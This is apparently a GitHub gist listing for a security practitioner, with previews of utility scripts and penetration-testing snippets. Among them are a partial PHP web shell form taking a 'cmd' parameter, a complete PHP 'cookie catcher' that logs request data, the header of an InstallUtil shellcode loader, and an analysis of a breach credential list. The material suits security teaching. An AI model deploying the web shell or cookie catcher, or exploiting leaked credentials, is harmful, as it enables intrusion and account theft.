Skip to content

Instantly share code, notes, and snippets.

View joswr1ght's full-sized avatar

Joshua Wright joswr1ght

View GitHub Profile
@joswr1ght
joswr1ght / repomix.config.json
Created May 8, 2026 17:14
Sample configuration file for Repomix to summarize a project source tree
{
"$schema": "https://repomix.com/schemas/latest/schema.json",
"output": {
"filePath": "repomix-summary.xml",
"style": "xml",
"fileSummary": true,
"directoryStructure": true,
"files": false,
"topFilesLength": 10
},
@joswr1ght
joswr1ght / counttokens.py
Created May 7, 2026 18:34
Count tokens for one or more files
#!/usr/bin/env python3
# /// script
# dependencies = [
# "tiktoken",
# ]
# ///
import sys
import tiktoken
@joswr1ght
joswr1ght / gist:cf8283844e644faee1f53d33a220e842
Last active April 29, 2026 02:20
ClickHouse Analysis of Repeated Usernames with Password Disclosure from COMB List
```
### Create a table to store breach credentials with support for statistical sampling
Mac.localdomain :) CREATE TABLE credentials (
username String,
password String
) ENGINE = MergeTree()
ORDER BY (username, cityHash64(username))
SAMPLE BY cityHash64(username);
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@joswr1ght
joswr1ght / InstallUtil-ShellCode.cs
Created April 15, 2024 13:04
InstallUtil-ShellCode.cs - Originally from subTee with Minor Comments Changes
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Minor cleanup and clarity changes by Joshua Wright <josh@wr1ght.net> @joswr1ght
*/
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
@joswr1ght
joswr1ght / extract-tlsscan-hostnames.py
Last active March 18, 2026 23:31
Extract TLS-Scan Hostnames from Certificate Records
#!/usr/bin/env python3
# Mark Baggett @MarkBaggett graciously wrote this script.
# Minor changes by Joshua Wright @joswr1ght.
# Use it to retrieve host name information from the JSON output of tls-scan
# (https://github.com/prbinu/tls-scan) in the subjectCN and subjectAltName
# fields.
import json
import re
import sys
@joswr1ght
joswr1ght / Copy-RemoteWindowsEventLogs.ps1
Last active March 18, 2026 23:29
PowerShell script to copy event logs from one or more remote systems to the local file system
# https://chat.openai.com/share/6d96527b-288d-45a9-8eb4-e8b43d52486a
# Input parameters
param (
[Parameter(Mandatory=$true)]
[string]$inputFile,
[Parameter(Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential
)
@joswr1ght
joswr1ght / irplaybook.txt
Created November 10, 2025 19:16
AI Prompt to Generate Incident Response Playbooks
# Role and Objective/Task
You are an expert-level cybersecurity incident response analyst. Your task is to leverage best practice guidance to assist users in developing incident response playbooks that guide users through complex analysis tasks following an observed Event of Interest (EOI).
# Instructions
Assist the user in developing an incident response playbook for the supplied EOI.
Ask questions when the answer is needed to create a high-quality playbook. These questions could include information about IT infrastructure and systems, existing defense mechanisms, existing organizational policies, and organizational information. If the user provides insufficient detail, ask targeted, technical follow-up questions to clarify the EOI, affected platforms, and org environment before proceeding.
@joswr1ght
joswr1ght / index.php
Created September 11, 2025 23:28
Simple PHP Script to Log Request Data (aka "Cookie Catcher")
<html>
<?php
file_put_contents("cookies.log", json_encode(array(
"GET"=>$_GET,
"POST"=>$_POST,
"headers"=>getallheaders()))."\n",
FILE_APPEND);
?>
</html>
@joswr1ght
joswr1ght / summarizelinks.js
Created April 22, 2023 18:22
summarizelinks.js - JavaScript to get a summary of links from an open webpage using the browser inspector console